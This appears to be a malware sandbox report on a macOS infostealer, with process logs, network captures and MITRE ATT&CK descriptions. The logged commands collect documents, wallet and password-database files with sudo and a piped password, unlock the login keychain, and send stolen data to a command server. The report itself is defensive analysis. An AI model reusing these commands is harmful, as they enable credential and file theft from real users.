Arguments:	sudo -S find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	-
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/find
Arguments:	find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	171280 bytes
MD5 hash:	c49e29c6a3b91cbb4e61922b96952478

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	sh -c echo '123456' \| sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	sudo -S find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/sudo
Arguments:	-
File size:	1446512 bytes
MD5 hash:	8f079d2160ed59dda0634df15b4b2bd5

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/find
Arguments:	find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname .txt -o -iname .pdf -o -iname .docx -o -iname .rtf -o -iname .doc -o -iname .wallet -o -iname .keys -o -iname .key -o -iname .jpg -o -iname .png -o -iname .kdbx -o -iname .csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber
File size:	171280 bytes
MD5 hash:	c49e29c6a3b91cbb4e61922b96952478

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/usr/bin/security
Arguments:	security unlock-keychain -p 123456 /Users/bernardo/Library/Keychains/login.keychain-db
File size:	662256 bytes
MD5 hash:	fcdfaba9badcfa289bc0afa0ed25d1c7

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/private/tmp/syshelper_38577473
Arguments:	-
File size:	5088944 bytes
MD5 hash:	b41756914c9531c736561a53778e6865

Start time (UTC):	13:55:21
Start date (UTC):	13/08/2026
Path:	/bin/sh
Arguments:	sh -c sw_vers -productVersion
File size:	101232 bytes
MD5 hash:	6b2366688c839e89d50699d548837ee6

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/date
Arguments:	/bin/date +%s
File size:	135392 bytes
MD5 hash:	319ba0f72590c89022cbad7702be2b0a

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/usr/bin/touch
Arguments:	/usr/bin/touch /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew
File size:	101792 bytes
MD5 hash:	1fb4516c9c1daed0ca778989c76e5254

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/cp
Arguments:	/bin/cp /Users/bernardo/.bash_history /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.history
File size:	136912 bytes
MD5 hash:	0f2d1e28fd61d9e19009568104424624

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:01
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	/bin/cat /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/cat
Arguments:	/bin/cat /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew
File size:	118992 bytes
MD5 hash:	618a09af83bc79d22174f44d78f4fc72

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/bin/bash
Arguments:	-
File size:	1310224 bytes
MD5 hash:	ee21b34dc40b403590571a8a5b0b2fb4

Start time (UTC):	13:55:02
Start date (UTC):	13/08/2026
Path:	/usr/bin/find
Arguments:	/usr/bin/find /Users/bernardo/.bash_sessions/_expiration_check_timestamp -mtime -1d
File size:	171280 bytes
MD5 hash:	c49e29c6a3b91cbb4e61922b96952478

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.0.58:49168 -> 138.124.70.84:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.0.58:49167 -> 138.124.70.84:443

Source: submission: E9CX86U4Q7	Mach-O symbol: _sqlite3_get_clientdata
Source: submission: E9CX86U4Q7	Mach-O symbol: _connect
Source: submission: E9CX86U4Q7	Mach-O symbol: _sqlite3_set_clientdata
Source: submission: E9CX86U4Q7	Mach-O symbol: _send
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLGetConnection
Source: submission: E9CX86U4Q7	Mach-O symbol: _getsockname
Source: submission: E9CX86U4Q7	Mach-O symbol: _getsockopt
Source: submission: E9CX86U4Q7	Mach-O symbol: _setsockopt
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLSetPeerDomainName
Source: submission: E9CX86U4Q7	Mach-O symbol: _socket
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLSetConnection
Source: submission: E9CX86U4Q7	Mach-O symbol: _kCFErrorDomainOSStatus
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPEnable
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPPort
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPProxy
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSEnable
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSPort
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSProxy
Source: submission: E9CX86U4Q7	Mach-O symbol: _sqlite3_get_clientdata
Source: submission: E9CX86U4Q7	Mach-O symbol: _connect
Source: submission: E9CX86U4Q7	Mach-O symbol: _sqlite3_set_clientdata
Source: submission: E9CX86U4Q7	Mach-O symbol: _send
Source: submission: E9CX86U4Q7	Mach-O symbol: _getsockopt
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLGetConnection
Source: submission: E9CX86U4Q7	Mach-O symbol: _socket
Source: submission: E9CX86U4Q7	Mach-O symbol: _setsockopt
Source: submission: E9CX86U4Q7	Mach-O symbol: _getsockname
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLSetPeerDomainName
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPEnable
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPPort
Source: submission: E9CX86U4Q7	Mach-O symbol: _kCFErrorDomainOSStatus
Source: submission: E9CX86U4Q7	Mach-O symbol: _SSLSetConnection
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPProxy
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSEnable
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSPort
Source: submission: E9CX86U4Q7	Mach-O symbol: _kSCPropNetProxiesHTTPSProxy

Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1accept: /host: freeipapi.com
Source: global traffic	HTTP traffic detected: GET /api/json/ HTTP/1.1accept: /referer: https://freeipapi.com/api/json/host: free.freeipapi.com
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1accept: /host: api.ipify.org
Source: global traffic	HTTP traffic detected: POST /send/ HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9x-chrome-key: P4JesMMS7yigyt7lZ+MGtA==x-system-password: MTIzNDU2content-length: 1341888accept: /host: debug.allllowef.space
Source: global traffic	HTTP traffic detected: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP traffic detected: POST /api/bot/actions/api/bot/join HTTP/1.1content-type: application/jsonx-api-key: 86770e8759abf2dad9ae85f5e11a25e9content-length: 128accept: /host: debug.allllowef.space
Source: global traffic	HTTP traffic detected: GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9accept: /host: debug.allllowef.space
Source: global traffic	HTTP traffic detected: GET /api/bot/actions/api/bot/actions?build_id=pp&bot_id=7af55c2e372d HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9accept: /host: debug.allllowef.space

Source: unknown	DNS query: name: freeipapi.com
Source: unknown	DNS query: name: free.freeipapi.com
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	UDP traffic detected without corresponding DNS query: 4.2.2.1
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 4.2.2.1
Source: unknown	UDP traffic detected without corresponding DNS query: 4.2.2.1
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.150.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.150.10
Source: unknown	UDP traffic detected without corresponding DNS query: 4.2.2.1
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.150.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.150.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.150.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 17.253.145.10
Source: unknown	UDP traffic detected without corresponding DNS query: 4.2.2.1

Source: global traffic	DNS traffic detected: DNS query: freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: free.freeipapi.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: debug.allllowef.space

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Tactics:	Execution
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents` , `/Library/LaunchAgents` , and `~/Library/LaunchAgents` .Property list files use the `Label` , `ProgramArguments` , and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time.Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Service: Service Creation, Service: Service Modification
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Process: Process Metadata
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirectingor even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry.These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation .
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Sensor Health: Host Status, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Bash History ), operating system or application-specific repositories (e.g. Credentials in Registry ), or other specialized files/artifacts (e.g. Private Keys ).
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Process: Process Creation, User Account: User Account Authentication, Windows Registry: Windows Registry Key Access
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
Tactics:	Credential Access
Data Sources:	File: File Access, Process: Process Access
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Cloud Service: Cloud Service Enumeration, Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

macOS Analysis Report E9CX86U4Q7

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Suricata Signatures

Joe Sandbox Signatures

Privilege Escalation

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.history

/Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

/Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.session

/Users/bernardo/.botid

/Users/bernardo/.chost

/Users/bernardo/.local/share/.stream/.arc_key

/Users/bernardo/.local/share/.stream/.bot_id

/Users/bernardo/.local/share/.stream/.brave_key

/Users/bernardo/.local/share/.stream/.chrome_key

/Users/bernardo/.local/share/.stream/.chromium_key

/Users/bernardo/.local/share/.stream/.coccoc_key

/Users/bernardo/.local/share/.stream/.edge_key

/Users/bernardo/.local/share/.stream/.opera_key

/Users/bernardo/.local/share/.stream/.vivaldi_key

/Users/bernardo/.local/share/.stream/.yandex_key

/Users/bernardo/.pwd

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm

/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal

/private/tmp/.ks_diag.txt

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/.write_test

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/BUILD_V3_MARKER.txt

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Autofills/Web Data

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/Cookies

macOS Analysis Report
E9CX86U4Q7

Description:	Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

